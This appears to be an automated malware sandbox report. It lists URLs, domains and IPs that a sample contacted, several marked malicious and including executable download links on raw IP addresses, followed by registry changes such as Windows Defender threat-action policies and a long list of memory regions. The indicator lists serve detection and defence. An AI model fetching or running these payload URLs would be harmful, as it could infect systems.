https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000
13.249.105.199
https://contoso.com/Icon
unknown
http://www.vmware.com/0/
unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
unknown
http://crl.ver)
unknown
http://upx.sf.net
unknown
http://gdlp01.c-wss.com/rmds/ic/universalinstaller/common/checkconnection
unknown
http://nsis.sf.net/NSIS_ErrorError
unknown
https://www.ecosia.org/newtab/
unknown
http://www.symauth.com/cps0(
unknown
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe7C:
unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
unknown
https://github.com/Pester/Pester
unknown
http://185.172.128.59/syncUpd.exe
185.172.128.59
https://ac.ecosia.org/autocomplete?q=
unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
unknown
https://g.live.com/odclientsettings/Prod/C:
unknown
https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000
13.249.105.199
https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000h1
unknown
http://185.172.128.203/tiktok.exe=
unknown
http://185.172.128.76/15f649199f40275b/softokn3.dllj?:
unknown
http://www.symauth.com/rpa00
unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
unknown
http://185.172.128.76/15f649199f40275b/mozglue.dll0?
unknown
https://dsepc5ud74wta.cloudfront.net/l
unknown
https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000/silentget
unknown
https://c.574859385.xyz/385128/setup.exe
37.221.125.202
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
unknown
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe
195.181.163.196
http://www.info-zip.org/
unknown
http://185.172.128.203/tiktok.exet-Disposition:
unknown
http://download.iolo.net
unknown
http://185.172.128.203/tiktok.exe$
unknown
https://support.mozilla.org
unknown
https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456
13.249.105.199
http://240216234727901.mjj.xne26.cfd/f/fvgbm0216901.txt
unknown
http://185.172.128.76/15f649199f40275b/vcruntime140.dllUM
unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
unknown
https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000yX0-
unknown
http://185.172.128.76/15f649199f40275b/nss3.dllf
unknown
There are 86 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
c.574859385.xyz
37.221.125.202
 malicious
skrptfiles.tracemonitors.com
unknown
 malicious
download.iolo.net
unknown
 malicious
www.rapidfilestorage.com
unknown
 malicious
240216234727901.mjj.xne26.cfd
unknown
 malicious
env-3936544.jcloud.kz
185.22.66.16
monoblocked.com
45.130.41.108
d1u0l9f6kr1di3.cloudfront.net
13.32.87.18
helsinki-dtc.com
194.67.87.38
iolo0.b-cdn.net
195.181.163.196
dsepc5ud74wta.cloudfront.net
13.249.105.199
note.padd.cn.com
176.97.76.106
svc.iolo.com
20.157.87.45
There are 3 hidden domains, click here to show them.

IPs

IP
Domain
Country
Malicious
185.172.128.90
unknown
Russian Federation
malicious
37.221.125.202
c.574859385.xyz
Lithuania
malicious
185.172.128.76
unknown
Russian Federation
malicious
185.172.128.228
unknown
Russian Federation
185.172.128.203
unknown
Russian Federation
20.157.87.45
svc.iolo.com
United States
195.181.163.196
iolo0.b-cdn.net
United Kingdom
176.97.76.106
note.padd.cn.com
United Kingdom
13.249.105.199
dsepc5ud74wta.cloudfront.net
United States
185.172.128.59
unknown
Russian Federation
45.130.41.108
monoblocked.com
Russian Federation
127.0.0.1
unknown
unknown
There are 2 hidden IPs, click here to show them.

Registry

Path
Value
Malicious
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\1e\417C44EB
@%SystemRoot%\System32\ndfapi.dll,-40001
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
HKEY_CURRENT_USER\SOFTWARE\BroomCleaner
Installed
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached
{E88DCCE0-B7B3-11D1-A9F0-00AA0060FA31} {000214E6-0000-0000-C000-000000000046} 0xFFFF
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\Component Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}\Enum
Implementing
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\Component Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}\Enum
Implementing
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager
PendingFileRenameOperations
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications
MaxSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications
Retention
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\System Mechanic
EventMessageFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\System Mechanic
TypesSupported
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\Service Manager
EventMessageFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\Service Manager
TypesSupported
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\System Shield
EventMessageFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\System Shield
TypesSupported
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\ActiveCare
EventMessageFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\ActiveCare
TypesSupported
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\Search and Recover
EventMessageFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\Search and Recover
TypesSupported
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\Installer
EventMessageFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications\Installer
TypesSupported
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction
2147735503
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction
2147814524
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
ProgramId
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
FileId
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
LowerCaseLongPath
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
LongPathHash
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
Name
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
OriginalFileName
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
Publisher
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
Version
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
BinFileVersion
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
BinaryType
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
ProductName
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
ProductVersion
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
LinkDate
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
BinProductVersion
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
AppxPackageFullName
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
AppxPackageRelativeId
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
Size
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
Language
\REGISTRY\A\{7891ae48-7585-192d-5ada-59e8d6dbb505}\Root\InventoryApplicationFile\i1.exe|a5834a78785296c2
Usn
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction
2147780199
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction
2147812831
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS
PerfMMFileName
HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer
SlowContextMenuEntries
HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer
TelemetrySalt
HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{1a4b1382-eeb5-4d59-b0fa-b93f83a518e1}
MaxCapacity
HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{1a4b1382-eeb5-4d59-b0fa-b93f83a518e1}
NukeOnDelete
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager
PendingFileRenameOperations
HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer
SlowContextMenuEntries
There are 55 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
40A0000
direct allocation
page execute and read and write
 malicious
34D6000
heap
page read and write
 malicious
587B000
trusted library allocation
page read and write
 malicious
6300000
direct allocation
page read and write
 malicious
418A000
heap
page read and write
 malicious
400000
unkown
page execute and read and write
 malicious
40E0000
direct allocation
page read and write
 malicious
2F50000
heap
page read and write
1EA6000
heap
page read and write
79EB000
heap
page read and write
52D5000
trusted library allocation
page read and write
2EF0000
heap
page read and write
105D7000
direct allocation
page read and write
990000
unkown
page readonly
24844000
heap
page read and write
990000
unkown
page readonly
171B000
heap
page read and write
5F88000
heap
page read and write
401000
unkown
page execute read
2FF4000
heap
page read and write
315F000
heap
page read and write
3251000
heap
page read and write
20E6D6B2000
heap
page read and write
20E72B90000
trusted library allocation
page read and write
2FF4000
heap
page read and write
40C000
unkown
page read and write
2FF4000
heap
page read and write
5FDC000
heap
page read and write
2FF4000
heap
page read and write
3474000
unkown
page read and write
12D4000
heap
page read and write
2821000
direct allocation
page read and write
2484C000
heap
page read and write
4070000
heap
page read and write
307D000
stack
page read and write
5F8D000
heap
page read and write
52A000
heap
page read and write
248B8000
heap
page read and write
3251000
heap
page read and write
3251000
heap
page read and write
71CE000
stack
page read and write
7B90000
trusted library allocation
page read and write
82E000
stack
page read and write
5FA2000
heap
page read and write
3150000
heap
page read and write
8C0000
heap
page read and write
3474000
unkown
page read and write
B6E000
stack
page read and write
1E4BD000
stack
page read and write
2FF4000
heap
page read and write
29D0000
heap
page read and write
2FF4000
heap
page read and write
3474000
unkown
page read and write
24836000
heap
page read and write
5F42000
heap
page read and write
3251000
heap
page read and write
ECD7F7E000
unkown
page readonly
316E000
stack
page read and write
20E72D1B000
heap
page read and write
335E000
stack
page read and write
5FEE000
stack
page read and write
3038000
heap
page read and write
33D0000
unkown
page readonly
7B2E000
stack
page read and write
B20000
heap
page read and write
5F81000
heap
page read and write
24772000
heap
page read and write
24820000
heap
page read and write
20E6D673000
heap
page read and write
386D000
heap
page read and write
7A26000
heap
page read and write
38002000
heap
page read and write
283E000
direct allocation
page read and write
586000
heap
page read and write
30EE000
heap
page read and write
401000
unkown
page execute read
5FBA000
heap
page read and write
2483D000
heap
page read and write
2FC0000
heap
page read and write
8650000
trusted library allocation
page read and write
35C0000
heap
page read and write
ECD7E7E000
unkown
page readonly
3329000
heap
page read and write
5BE0000
direct allocation
page read and write
690C000
stack
page read and write
3251000
heap
page read and write
629000
heap
page read and write
2FF4000
heap
page read and write
2DB8000
heap
page read and write
765E000
stack
page read and write
75E000
unkown
page write copy
28DF000
stack
page read and write
5F62000
heap
page read and write
3251000
heap
page read and write
30C0000
heap
page read and write
5F38000
heap
page read and write
4F1000
heap
page read and write
B50000
heap
page read and write
4203000
heap
page read and write
3474000
unkown
page read and write
5FDC000
heap
page read and write
329C000
stack
page read and write
2FF4000
heap
page read and write
3251000
heap
page read and write
20E72A60000
trusted library allocation
page read and write
4B0000
heap
page read and write
19C000
stack
page read and write
20E6D590000
trusted library section
page read and write
2FF4000
heap
page read and write
5F85000
heap
page read and write
2484C000
heap
page read and write
20E72A60000
trusted library allocation
page read and write
5FBA000
heap
page read and write
20E72A74000
trusted library allocation
page read and write
5F82000
heap
page read and write
33E0000
heap
page read and write
549000
heap
page read and write
8700000
heap
page read and write
5FDC000
heap
page read and write
B1E000
stack
page read and write
52A000
heap
page read and write
42F000
unkown
page read and write
30C9000
heap
page read and write
2FF4000
heap
page read and write
857000
heap
page read and write
3251000
heap
page read and write
2484C000
heap
page read and write
3B61000
heap
page read and write
C24000
heap
page read and write
319B000
heap
page read and write
628000
heap
page read and write
2073000
heap
page read and write
30D8000
heap
page read and write
24830000
heap
page read and write
19A000
stack
page read and write
2FF4000
heap
page read and write
2EDF000
stack
page read and write
1DE0000
heap
page read and write
12D4000
heap
page read and write
30DF000
heap
page read and write
5FB6000
heap
page read and write
37F50000
heap
page read and write
7C50000
trusted library allocation
page read and write
304F000
stack
page read and write
386A000
heap
page read and write
4B0C000
stack
page read and write
2FF4000
heap
page read and write
3251000
heap
page read and write
2482C000
heap
page read and write
7850000
heap
page execute and read and write
20E72A50000
trusted library allocation
page read and write
5F96000
heap
page read and write
FFB000
unkown
page read and write
2FF0000
heap
page read and write
B0E000
stack
page read and write
7A46000
heap
page read and write
BDE000
heap
page read and write
284C000
direct allocation
page read and write
20E6D6FF000
heap
page read and write
400000
unkown
page readonly
5F40000
heap
page read and write
540000
heap
page read and write
61ED0000
direct allocation
page read and write
5D61000
unkown
page read and write
400000
unkown
page execute and read and write
1795000
heap
page read and write
33B0000
unkown
page readonly
60F8000
trusted library allocation
page read and write
109B000
stack
page read and write
5ADD000
direct allocation
page read and write
37F69000
heap
page read and write
5FA3000
heap
page read and write
2BA0000
heap
page read and write
2BD0000
heap
page read and write
3474000
unkown
page read and write
3195000
heap
page read and write
2FF4000
heap
page read and write
224B000
stack
page read and write
1EA5000
heap
page read and write
628000
heap
page read and write
3251000
heap
page read and write
3859000
heap
page read and write
420000
unkown
page read and write
2FF4000
heap
page read and write
5FDC000
heap
page read and write
2790000
direct allocation
page read and write
4021000
unkown
page read and write
2482D000
heap
page read and write
27EB000
direct allocation
page read and write
32D0000
heap
page read and write
47FE000
trusted library allocation
page read and write
61EB7000
direct allocation
page readonly
32B0000
heap
page read and write
2FF4000
heap
page read and write
37FC0000
heap
page read and write
38E0000
heap
page read and write
B40000
heap
page read and write
3A77000
heap
page read and write
10000000
direct allocation
page read and write
3251000
heap
page read and write
420000
heap
page read and write
3251000
heap
page read and write
5F85000
heap
page read and write
89A0000
trusted library allocation
page read and write
3251000
heap
page read and write
5F47000
heap
page read and write
BDF000
stack
page read and write
1470000
heap
page read and write
7E0000
heap
page read and write
30CF000
heap
page read and write
3251000
heap
page read and write
31AE000
stack
page read and write
2FBE000
stack
page read and write
3040000
heap
page read and write
590000
heap
page read and write
850000
heap
page read and write
4E1000
heap
page read and write
3193000
heap
page read and write
4C40000
heap
page readonly
2870000
direct allocation
page read and write
79E5000
heap
page read and write
2870000
heap
page read and write
5F4A000
heap
page read and write
5091000
trusted library allocation
page read and write
B8F000
stack
page read and write
317E000
heap
page read and write
3251000
heap
page read and write
BD4000
heap
page read and write
ECD857E000
stack
page read and write
3890000
direct allocation
page read and write
3251000
heap
page read and write
2482C000
heap
page read and write
2836000
direct allocation
page read and write
2DCF000
stack
page read and write
34AB000
heap
page read and write
1E0000
heap
page read and write
27F4000
direct allocation
page read and write
386B000
heap
page read and write
431000
unkown
page read and write
3474000
unkown
page read and write
3336000
heap
page read and write
2F7E000
stack
page read and write
3251000
heap
page read and write
3A92000
heap
page read and write
2E7C000
stack
page read and write
8640000
trusted library allocation
page read and write
52EF000
trusted library allocation
page read and write
24830000
heap
page read and write
2050000
heap
page read and write
2482C000
heap
page read and write
2FF4000
heap
page read and write
2FF4000
heap
page read and write
355B000
unkown
page read and write
3040000
trusted library allocation
page read and write
2484C000
heap
page read and write
2850000
heap
page read and write
2A60000
heap
page read and write
2483E000
heap
page read and write
24823000
heap
page read and write
20E72C51000
heap
page read and write
1001000
unkown
page readonly
20E72B00000
trusted library allocation
page read and write
289C000
direct allocation
page read and write
7C00000
trusted library allocation
page read and write
4AE000
stack
page read and write
2484C000
heap
page read and write
540000
heap
page read and write
40D7000
heap
page read and write
77C000
stack
page read and write
5FA2000
heap
page read and write
55B000
heap
page read and write
70E000
stack
page read and write
B90000
heap
page read and write
C42000
heap
page read and write
335F000
stack
page read and write
20E6DFDD000
heap
page read and write
4C70000
heap
page read and write
4DAE000
stack
page read and write
401000
unkown
page execute read
513000
unkown
page readonly
5FBD000
heap
page read and write
628000
heap
page read and write
5F86000
heap
page read and write
14FE000
heap
page read and write
74B000
heap
page read and write
7B80000
trusted library allocation
page execute and read and write
408E000
stack
page read and write
1A9000
stack
page read and write
3178000
heap
page read and write
20E72BD0000
remote allocation
page read and write
6E60000
heap
page read and write
23ED000
stack
page read and write
5F85000
heap
page read and write
26DE000
stack
page read and write
34C0000
heap
page read and write
8B0000
heap
page read and write
3251000
heap
page read and write
61E00000
direct allocation
page execute and read and write
54E000
stack
page read and write
3852000
heap
page read and write
30DF000
heap
page read and write
1E770000
trusted library allocation
page read and write
3251000
heap
page read and write
830000
heap
page read and write
2F1000
unkown
page execute read
2ECF000
stack
page read and write
2FF4000
heap
page read and write
248B7000
heap
page read and write
59E000
heap
page read and write
2F0F000
unkown
page read and write
513E000
stack
page read and write
C32000
heap
page read and write
5FC0000
heap
page read and write
5FAA000
heap
page read and write
3474000
unkown
page read and write
661E000
stack
page read and write
513000
heap
page read and write
59B0000
direct allocation
page read and write
5F62000
heap
page read and write
2A3D000
stack
page read and write
3474000
unkown
page read and write
2A8B5000
heap
page read and write
441000
unkown
page read and write
50A000
unkown
page read and write
24830000
heap
page read and write
3060000
heap
page read and write
35AD000
unkown
page read and write
98E000
stack
page read and write
3251000
heap
page read and write
2FF4000
heap
page read and write
2FF4000
heap
page read and write
3162000
heap
page read and write
2FF4000
heap
page read and write
20E72A30000
trusted library allocation
page read and write
306E000
stack
page read and write
316F000
stack
page read and write
248B7000
heap
page read and write
5FA000
heap
page read and write
2A8A2000
heap
page read and write
12D4000
heap
page read and write
3251000
heap
page read and write
3A72000
heap
page read and write
30E1000
heap
page read and write
28E0000
heap
page read and write
3864000
heap
page read and write
2483E000
heap
page read and write
ECD6B9B000
stack
page read and write
745E000
stack
page read and write
3251000
heap
page read and write
30C5000
heap
page read and write
44D000
heap
page read and write
3474000
unkown
page read and write
2871000
heap
page read and write
55A000
heap
page read and write
3108000
heap
page read and write
3474000
unkown
page read and write
30C5000
heap
page read and write
5FBA000
heap
page read and write
67CE000
stack
page read and write
5EDC000
stack
page read and write
2FF4000
heap
page read and write
5FC0000
heap
page read and write
1724000
heap
page read and write
540000
heap
page read and write
4C15000
trusted library allocation
page execute and read and write
8E0000
heap
page read and write
162E000
stack
page read and write
550000
heap
page read and write
12D0000
heap
page read and write
7B6D000
stack
page read and write
5E50000
heap
page read and write
5F12000
heap
page read and write
5F00000
heap
page read and write
30DD000
heap
page read and write
20E6D68E000
heap
page read and write
5F4A000
heap
page read and write
3251000
heap
page read and write
3251000
heap
page read and write
ECD7177000
stack
page read and write
2C80000
heap
page read and write
24830000
heap
page read and write
ECD7DFE000
stack
page read and write
ECD847E000
unkown
page readonly
24849000
heap
page read and write
2A8A4000
heap
page read and write
1BEF000
stack
page read and write
1790000
heap
page read and write
586000
heap
page read and write
79CF000
heap
page read and write
550000
heap
page read and write
20E6E9A0000
trusted library allocation
page read and write
61ED3000
direct allocation
page read and write
2C40000
heap
page read and write
20E6D678000
heap
page read and write
3869000
heap
page read and write
20E72B80000
trusted library allocation
page read and write
2FF4000
heap
page read and write
16A8000
heap
page read and write
1E13F000
stack
page read and write
30960000
heap
page read and write
ADE000
stack
page read and write
5F8D000
heap
page read and write
1A5000
stack
page read and write
2920000
heap
page read and write
B98000
heap
page read and write
50F1000
trusted library allocation
page read and write
20E72BD0000
remote allocation
page read and write
20E6DE00000
heap
page read and write
33F0000
heap
page read and write
3251000
heap
page read and write
3180000
heap
page read and write
5F2C000
heap
page read and write
16D9000
heap
page read and write
329E000
stack
page read and write
40BE000
stack
page read and write
3750000
heap
page read and write
419000
unkown
page write copy
445000
unkown
page readonly
20E72BD0000
remote allocation
page read and write
4150000
heap
page read and write
3565000
unkown
page read and write
2C10000
heap
page read and write
3474000
unkown
page read and write
BF8000
heap
page read and write
31BF000
heap
page read and write
3475000
heap
page read and write
3251000
heap
page read and write
5F85000
heap
page read and write
2C0000
heap
page read and write
3251000
heap
page read and write
3100000
heap
page read and write
BCD000
heap
page read and write
1C2E000
stack
page read and write
5FAF000
stack
page read and write
6E79000
heap
page read and write
3474000
unkown
page read and write
C57000
heap
page read and write
3251000
heap
page read and write
ECD83FE000
stack
page read and write
2FF4000
heap
page read and write
5C5000
heap
page read and write
3434000
trusted library allocation
page read and write
1001000
unkown
page readonly
20E6E600000
trusted library section
page readonly
31FE000
stack
page read and write
4046000
unkown
page readonly
4250000
heap
page read and write
530000
heap
page read and write
30E6000
heap
page read and write
275E000
stack
page read and write
2FF4000
heap
page read and write
2483E000
heap
page read and write
16E7000
heap
page read and write
396F000
stack
page read and write
1001000
unkown
page readonly
8710000
heap
page read and write
2E3E000
stack
page read and write
22F0000
heap
page read and write
991000
unkown
page execute read
3474000
unkown
page read and write
341E000
stack
page read and write
5E6B000
heap
page read and write
278D000
stack
page read and write
2FF4000
heap
page read and write
31D0000
heap
page read and write
3474000
unkown
page read and write
388F000
unkown
page read and write
20E72A30000
trusted library allocation
page read and write
3866000
heap
page read and write
4CE000
stack
page read and write
1F0000
heap
page read and write
2FF4000
heap
page read and write
3251000
heap
page read and write
C06000
heap
page read and write
62D000
heap
page read and write
30DF000
heap
page read and write
2FF4000
heap
page read and write
5F88000
heap
page read and write
2483E000
heap
page read and write
88CD000
stack
page read and write
2A57000
heap
page read and write
3474000
unkown
page read and write
5FA2000
heap
page read and write
3EC000
stack
page read and write
5FB6000
heap
page read and write
6500000
heap
page read and write
4210000
heap
page read and write
6BD2E000
unkown
page read and write
43B000
heap
page read and write
2E9E000
stack
page read and write
20E72B60000
trusted library allocation
page read and write
416A000
heap
page read and write
C39000
heap
page read and write
154E000
stack
page read and write
2820000
heap
page read and write
3250000
heap
page read and write
813000
unkown
page readonly
2F4E000
stack
page read and write
5832000
trusted library allocation
page read and write
24828000
heap
page read and write
35B5000
unkown
page read and write
53B000
heap
page read and write
29C0000
heap
page read and write
3178000
heap
page read and write
3251000
heap
page read and write
2E3C000
stack
page read and write
ECD837E000
unkown
page readonly
33DE000
stack
page read and write
7F0000
heap
page read and write
61ECD000
direct allocation
page readonly
20E72A3B000
trusted library allocation
page read and write
27CD000
direct allocation
page read and write
89B2000
heap
page read and write
2FA0000
heap
page read and write
317B000
heap
page read and write
2FF4000
heap
page read and write
3440000
trusted library allocation
page read and write
6340000
heap
page read and write
2EB0000
heap
page read and write
5F96000
heap
page read and write
C27000
heap
page read and write
5FDC000
heap
page read and write
27B6000
direct allocation
page read and write
2B80000
heap
page read and write
32AC000
stack
page read and write
4023000
unkown
page readonly
2FF4000
heap
page read and write
7BA0000
trusted library allocation
page read and write
31C5000
heap
page read and write
5874000
trusted library allocation
page read and write
20E6E640000
trusted library section
page readonly
5DB000
heap
page read and write
5FA4000
heap
page read and write
30D2000
heap
page read and write
5FDC000
heap
page read and write
414E000
stack
page read and write
20E72BA0000
trusted library allocation
page read and write
27C5000
direct allocation
page read and write
991000
unkown
page execute read
3474000
unkown
page read and write
2F0000
unkown
page readonly
BD8000
heap
page read and write
317A000
heap
page read and write
5FDD000
heap
page read and write
3230000
heap
page read and write
2A905000
heap
page read and write
5FB4000
heap
page read and write
2FB0000
heap
page read and write
20E6D645000
heap
page read and write
3251000
heap
page read and write
79E2000
heap
page read and write
500000
unkown
page write copy
3251000
heap
page read and write
586000
heap
page read and write
430B000
heap
page read and write
20E6DF9D000
heap
page read and write
2FF4000
heap
page read and write
C4E000
heap
page read and write
2FF4000
heap
page read and write
2F10000
remote allocation
page read and write
20E73000000
heap
page read and write
4C10000
trusted library allocation
page read and write
7AEE000
stack
page read and write
380E000
stack
page read and write
24830000
heap
page read and write
7840000
trusted library allocation
page read and write
5FFE000
unkown
page read and write
20E6D67D000
heap
page read and write
327D000
stack
page read and write
3251000
heap
page read and write
288D000
direct allocation
page read and write
7C20000
trusted library allocation
page read and write
1E5000
heap
page read and write
5F48000
heap
page read and write
33E0000
heap
page read and write
20E6DF00000
heap
page read and write
385A000
heap
page read and write
2FA3000
heap
page read and write
2A8AD000
heap
page read and write
3474000
unkown
page read and write
3199000
heap
page read and write
3474000
unkown
page read and write
3251000
heap
page read and write
FFB000
stack
page read and write
86FE000
stack
page read and write
ECD877A000
stack
page read and write
5FDD000
heap
page read and write
5EF0000
heap
page read and write
4CC000
stack
page read and write
5FC0000
heap
page read and write
24844000
heap
page read and write
624000
unkown
page execute and read and write
2990000
heap
page read and write
7B70000
trusted library allocation
page read and write
2F40000
heap
page read and write
62DF000
stack
page read and write
309BE000
heap
page read and write
5F8A000
heap
page read and write
86BE000
stack
page read and write
12AD000
stack
page read and write
33AD000
heap
page read and write
36A00000
trusted library allocation
page read and write
540000
heap
page read and write
2482C000
heap
page read and write
27E4000
direct allocation
page read and write
3251000
heap
page read and write
3251000
heap
page read and write
20E72AA0000
trusted library allocation
page read and write
739B000
stack
page read and write
2FF4000
heap
page read and write
4B8000
heap
page read and write
2FF4000
heap
page read and write
5F85000
heap
page read and write
2483D000
heap
page read and write
3090000
heap
page read and write
31C2000
heap
page read and write
31F2000
heap
page read and write
5FDC000
heap
page read and write
2C6E000
stack
page read and write
2E20000
heap
page read and write
2063000
heap
page read and write
3341000
heap
page read and write
BD0000
heap
page read and write
19D000
stack
page read and write
2A976000
heap
page read and write
24833000
heap
page read and write
BDF000
heap
page read and write
319B000
heap
page read and write
19A000
stack
page read and write
3850000
heap
page read and write
2920000
heap
page read and write
460000
heap
page read and write
8BF000
stack
page read and write
31B0000
heap
page read and write
317B000
heap
page read and write
2482D000
heap
page read and write
C40000
heap
page read and write
2C2F000
stack
page read and write
4B0000
heap
page read and write
ECD787E000
unkown
